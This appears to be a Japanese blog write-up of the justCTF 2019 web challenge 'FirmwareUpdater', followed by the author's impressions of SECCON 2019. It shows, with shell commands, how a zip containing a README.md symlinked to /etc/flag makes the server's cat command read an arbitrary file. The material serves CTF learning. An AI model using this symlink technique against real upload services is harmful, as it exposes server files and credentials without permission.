Midnight Monologues

日々勉強したことを書いてきます

justCTF 2019 - Writeup ( web : FirmwareUpdater )

SECCON2019の裏で開催されたjustCTF 2019に参加した。1問だけ解けたのでWriteupを記載する。

Description

This device need a firmware! Upload and execute ASAP!

Flag is in /etc/flag

http://firmwareupdater.web.jctf.pro/

Writeup

指定されたURLへアクセスするとzipファイルがアップロード可能なWebサイトが表示される。 f:id:SYN-ACK:20191222203353j:plain

適当なzipファイルをアップロードするとエラーになるが、ディレクトリリスティングされた結果が表示されておりexample.zipがあることが分かる。 f:id:SYN-ACK:20191223203535j:plain

またexample.zipをアップロードすると以下の処理で動作していることが分かる。
①uploadsフォルダ配下のmd5($_SERVER['REMOTE_ADDR']).zipにrenameする。
②zipフォルダ内のREADME.mdファイルをcatコマンドで参照する。
f:id:SYN-ACK:20191223203540j:plain

webshellをアップロードしてOSコマンドインジェクションを試すが上手くいかない。 色々試したところ類似問題が見つかる。

github.com

catされるREADME.mdファイルにシンボリックリンクをはり、catコマンドを実行させることで中身が読み出せる。

root@kali:~# ls -al
合計 32
drwxr-xr-x  2 root root  4096 12月 22 17:12 .
drwxr-xr-x 15 root root  4096 12月 22 11:02 ..
-rwxrwx---  1 root root 23292 12月 21 07:29 example_firmware.zip
root@kali:~# 
root@kali:~# unzip example_firmware.zip 
Archive:  example_firmware.zip
  inflating: README.md               
  inflating: firmware.bin            
root@kali:~# 
root@kali:~# cat README.md 
Make sure you agree with firmware privacy policy.
Backup data before update!
root@kali:~# 
root@kali:~# rm README.md 
root@kali:~# 
root@kali:~# ln -s /etc/flag README.md
root@kali:~# 
root@kali:~# zip -y flag.zip README.md firmware.bin
  adding: README.md (stored 0%)
  adding: firmware.bin (deflated 1%)

上記で作成したflag.zipをアップロードさせるとflagが表示される。 f:id:SYN-ACK:20191223203544j:plain

flag:justCTF{A_Fin3_W4y_T0_Upd4t3_m3_y0}

本日の感想

情報処理試験と同じで過去問は大事!!ということで。
・過去問の400点問題が本大会ではeasyレベル ... 。CTFの問題レベルの高難度化のスピードには驚かされるばかり。
・SECCON2019はTwitterを見る限り荒れている模様。全く関わりない(そもそもレベル的に参加できない!!)けど傍からみていて運営様は唯々お疲れ様です。<(_ _)> ペコリ
本戦に参加しているチーム方の応援に秋葉原UDXに立ち寄った際の感想は、以下の通り。
 ✔インフラSEとしては1日目のSECCONのインフラを支える技術のLTEが非常に参考になった。(インフラSEの悲哀が感じられて尚更共感できた。)
 ✔『2016年度の大会がOS+Virtualbox環境で動いていた』の発言が個人的には衝撃的だった。
 ✔Ansibleは自分でも使ってみてぇ~。